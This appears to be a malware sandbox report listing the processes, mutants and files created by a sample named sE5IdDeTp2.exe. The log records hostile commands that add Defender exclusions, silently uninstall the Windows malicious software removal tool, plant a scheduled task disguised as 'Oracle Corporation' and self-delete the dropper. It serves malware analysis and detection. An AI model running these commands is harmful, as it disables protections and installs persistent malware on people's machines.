Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5332:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6972:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2136:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMutant created: NULL
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7628:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7968:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6820:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1704:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8076:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:344:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7828:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4476:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7832:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7912:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7600:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5928:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5000:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6924:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1432:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1364:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3228:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3940:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5448:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1420:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6544:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8080:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6940:120:WilError_03
Source: C:\Users\user\Desktop\sE5IdDeTp2.exeFile created: C:\Users\user\AppData\Local\Temp\mlothfmoemid.xmlJump to behavior
Source: sE5IdDeTp2.exeStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\sE5IdDeTp2.exeKey opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
Source: sE5IdDeTp2.exeVirustotal: Detection: 40%
Source: sE5IdDeTp2.exeReversingLabs: Detection: 36%
Source: C:\Users\user\Desktop\sE5IdDeTp2.exeFile read: C:\Users\user\Desktop\sE5IdDeTp2.exeJump to behavior
Source: unknownProcess created: C:\Users\user\Desktop\sE5IdDeTp2.exe "C:\Users\user\Desktop\sE5IdDeTp2.exe"
Source: C:\Users\user\Desktop\sE5IdDeTp2.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\sE5IdDeTp2.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
Source: C:\Users\user\Desktop\sE5IdDeTp2.exeProcess created: C:\Windows\System32\schtasks.exe C:\Windows\system32\schtasks.exe /delete /f /tn "Oracle Corporation"
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\schtasks.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart
Source: C:\Users\user\Desktop\sE5IdDeTp2.exeProcess created: C:\Windows\System32\schtasks.exe C:\Windows\system32\schtasks.exe /create /f /tn "Oracle Corporation" /xml "C:\Users\user\AppData\Local\Temp\mlothfmoemid.xml"
Source: C:\Windows\System32\schtasks.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\sE5IdDeTp2.exeProcess created: C:\Windows\System32\schtasks.exe C:\Windows\system32\schtasks.exe /run /tn "Oracle Corporation"
Source: C:\Users\user\Desktop\sE5IdDeTp2.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\user\Desktop\sE5IdDeTp2.exe"
Source: C:\Windows\System32\schtasks.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknownProcess created: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exe C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exe
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\choice.exe choice /C Y /N /D Y /T 3
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeProcess created: C:\Windows\System32\schtasks.exe C:\Windows\system32\schtasks.exe /create /f /tn "Oracle Corporation" /xml "C:\Users\user\AppData\Local\Temp\mlothfmoemid.xml"
Source: C:\Windows\System32\schtasks.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe
Source: C:\Windows\System32\conhost.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\conhost.exeProcess created: C:\Windows\System32\schtasks.exe C:\Windows\System32\schtasks.exe /create /f /tn "Oracle Corporation" /xml "C:\Users\user\AppData\Local\Temp\uteugvdfldgq.xml"
Source: C:\Windows\System32\schtasks.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\conhost.exeProcess created: C:\Windows\System32\schtasks.exe C:\Windows\System32\schtasks.exe /run /tn "Oracle Corporation"
Source: C:\Windows\System32\schtasks.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknownProcess created: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exe C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exe
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeProcess created: C:\Windows\System32\schtasks.exe C:\Windows\system32\schtasks.exe /create /f /tn "Oracle Corporation" /xml "C:\Users\user\AppData\Local\Temp\mlothfmoemid.xml"
Source: C:\Windows\System32\schtasks.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart
Source: C:\Windows\System32\conhost.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\conhost.exeProcess created: C:\Windows\System32\schtasks.exe C:\Windows\System32\schtasks.exe /create /f /tn "Oracle Corporation" /xml "C:\Users\user\AppData\Local\Temp\uteugvdfldgq.xml"
Source: C:\Windows\System32\schtasks.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\conhost.exeProcess created: C:\Windows\System32\schtasks.exe C:\Windows\System32\schtasks.exe /run /tn "Oracle Corporation"
Source: C:\Windows\System32\schtasks.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknownProcess created: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exe C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exe
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeProcess created: C:\Windows\System32\schtasks.exe C:\Windows\system32\schtasks.exe /create /f /tn "Oracle Corporation" /xml "C:\Users\user\AppData\Local\Temp\mlothfmoemid.xml"
Source: C:\Windows\System32\schtasks.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart
Source: C:\Windows\System32\conhost.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\conhost.exeProcess created: C:\Windows\System32\schtasks.exe C:\Windows\System32\schtasks.exe /create /f /tn "Oracle Corporation" /xml "C:\Users\user\AppData\Local\Temp\uteugvdfldgq.xml"
Source: C:\Windows\System32\schtasks.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\conhost.exeProcess created: C:\Windows\System32\schtasks.exe C:\Windows\System32\schtasks.exe /run /tn "Oracle Corporation"
Source: C:\Windows\System32\schtasks.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknownProcess created: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exe C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exe
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeProcess created: C:\Windows\System32\schtasks.exe C:\Windows\system32\schtasks.exe /create /f /tn "Oracle Corporation" /xml "C:\Users\user\AppData\Local\Temp\mlothfmoemid.xml"
Source: C:\Windows\System32\schtasks.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart
Source: C:\Windows\System32\conhost.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\conhost.exeProcess created: C:\Windows\System32\schtasks.exe C:\Windows\System32\schtasks.exe /create /f /tn "Oracle Corporation" /xml "C:\Users\user\AppData\Local\Temp\uteugvdfldgq.xml"
Source: C:\Windows\System32\schtasks.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\conhost.exeProcess created: C:\Windows\System32\schtasks.exe C:\Windows\System32\schtasks.exe /run /tn "Oracle Corporation"
Source: C:\Windows\System32\schtasks.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknownProcess created: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exe C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exe
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeProcess created: C:\Windows\System32\schtasks.exe C:\Windows\system32\schtasks.exe /create /f /tn "Oracle Corporation" /xml "C:\Users\user\AppData\Local\Temp\mlothfmoemid.xml"
Source: C:\Windows\System32\schtasks.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart
Source: C:\Windows\System32\conhost.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\conhost.exeProcess created: C:\Windows\System32\schtasks.exe C:\Windows\System32\schtasks.exe /create /f /tn "Oracle Corporation" /xml "C:\Users\user\AppData\Local\Temp\uteugvdfldgq.xml"
Source: C:\Windows\System32\schtasks.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\conhost.exeProcess created: C:\Windows\System32\schtasks.exe C:\Windows\System32\schtasks.exe /run /tn "Oracle Corporation"
Source: C:\Windows\System32\schtasks.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknownProcess created: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exe C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exe
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
Source: C:\Windows\System32\conhost.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeProcess created: C:\Windows\System32\schtasks.exe C:\Windows\system32\schtasks.exe /create /f /tn "Oracle Corporation" /xml "C:\Users\user\AppData\Local\Temp\mlothfmoemid.xml"
Source: C:\Windows\System32\schtasks.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart
Source: C:\Windows\System32\conhost.exeProcess created: C:\Windows\System32\schtasks.exe C:\Windows\System32\schtasks.exe /create /f /tn "Oracle Corporation" /xml "C:\Users\user\AppData\Local\Temp\uteugvdfldgq.xml"
Source: C:\Windows\System32\schtasks.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\conhost.exeProcess created: C:\Windows\System32\schtasks.exe C:\Windows\System32\schtasks.exe /run /tn "Oracle Corporation"
Source: C:\Windows\System32\schtasks.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\sE5IdDeTp2.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -ForceJump to behavior
Source: C:\Users\user\Desktop\sE5IdDeTp2.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestartJump to behavior
Source: C:\Users\user\Desktop\sE5IdDeTp2.exeProcess created: C:\Windows\System32\schtasks.exe C:\Windows\system32\schtasks.exe /delete /f /tn "Oracle Corporation"Jump to behavior
Source: C:\Users\user\Desktop\sE5IdDeTp2.exeProcess created: C:\Windows\System32\schtasks.exe C:\Windows\system32\schtasks.exe /create /f /tn "Oracle Corporation" /xml "C:\Users\user\AppData\Local\Temp\mlothfmoemid.xml"Jump to behavior
Source: C:\Users\user\Desktop\sE5IdDeTp2.exeProcess created: C:\Windows\System32\schtasks.exe C:\Windows\system32\schtasks.exe /run /tn "Oracle Corporation"Jump to behavior
Source: C:\Users\user\Desktop\sE5IdDeTp2.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\user\Desktop\sE5IdDeTp2.exe"Jump to behavior
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestartJump to behavior
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\choice.exe choice /C Y /N /D Y /T 3Jump to behavior
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -ForceJump to behavior
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestartJump to behavior
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeProcess created: C:\Windows\System32\schtasks.exe C:\Windows\system32\schtasks.exe /create /f /tn "Oracle Corporation" /xml "C:\Users\user\AppData\Local\Temp\mlothfmoemid.xml"Jump to behavior
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exeJump to behavior
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart
Source: C:\Windows\System32\conhost.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -ForceJump to behavior
Source: C:\Windows\System32\conhost.exeProcess created: C:\Windows\System32\schtasks.exe C:\Windows\System32\schtasks.exe /create /f /tn "Oracle Corporation" /xml "C:\Users\user\AppData\Local\Temp\uteugvdfldgq.xml"Jump to behavior
Source: C:\Windows\System32\conhost.exeProcess created: C:\Windows\System32\schtasks.exe C:\Windows\System32\schtasks.exe /run /tn "Oracle Corporation"Jump to behavior
Source: C:\Windows\System32\conhost.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -ForceJump to behavior
Source: C:\Windows\System32\conhost.exeProcess created: C:\Windows\System32\schtasks.exe C:\Windows\System32\schtasks.exe /create /f /tn "Oracle Corporation" /xml "C:\Users\user\AppData\Local\Temp\uteugvdfldgq.xml"Jump to behavior
Source: C:\Windows\System32\conhost.exeProcess created: C:\Windows\System32\schtasks.exe C:\Windows\System32\schtasks.exe /run /tn "Oracle Corporation"Jump to behavior
Source: C:\Windows\System32\conhost.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -ForceJump to behavior
Source: C:\Windows\System32\conhost.exeProcess created: C:\Windows\System32\schtasks.exe C:\Windows\System32\schtasks.exe /create /f /tn "Oracle Corporation" /xml "C:\Users\user\AppData\Local\Temp\uteugvdfldgq.xml"Jump to behavior
Source: C:\Windows\System32\conhost.exeProcess created: C:\Windows\System32\schtasks.exe C:\Windows\System32\schtasks.exe /run /tn "Oracle Corporation"Jump to behavior
Source: C:\Windows\System32\conhost.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -ForceJump to behavior
Source: C:\Windows\System32\conhost.exeProcess created: C:\Windows\System32\schtasks.exe C:\Windows\System32\schtasks.exe /create /f /tn "Oracle Corporation" /xml "C:\Users\user\AppData\Local\Temp\uteugvdfldgq.xml"Jump to behavior
Source: C:\Windows\System32\conhost.exeProcess created: C:\Windows\System32\schtasks.exe C:\Windows\System32\schtasks.exe /run /tn "Oracle Corporation"Jump to behavior
Source: C:\Windows\System32\conhost.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -ForceJump to behavior
Source: C:\Windows\System32\conhost.exeProcess created: C:\Windows\System32\schtasks.exe C:\Windows\System32\schtasks.exe /create /f /tn "Oracle Corporation" /xml "C:\Users\user\AppData\Local\Temp\uteugvdfldgq.xml"Jump to behavior
Source: C:\Windows\System32\conhost.exeProcess created: C:\Windows\System32\schtasks.exe C:\Windows\System32\schtasks.exe /run /tn "Oracle Corporation"Jump to behavior
Source: C:\Windows\System32\conhost.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1Jump to behavior
Source: C:\Windows\System32\conhost.exeProcess created: C:\Windows\System32\schtasks.exe C:\Windows\System32\schtasks.exe /create /f /tn "Oracle Corporation" /xml "C:\Users\user\AppData\Local\Temp\uteugvdfldgq.xml"Jump to behavior
Source: C:\Windows\System32\conhost.exeProcess created: C:\Windows\System32\schtasks.exe C:\Windows\System32\schtasks.exe /run /tn "Oracle Corporation"Jump to behavior
Source: C:\Windows\System32\conhost.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -ForceJump to behavior
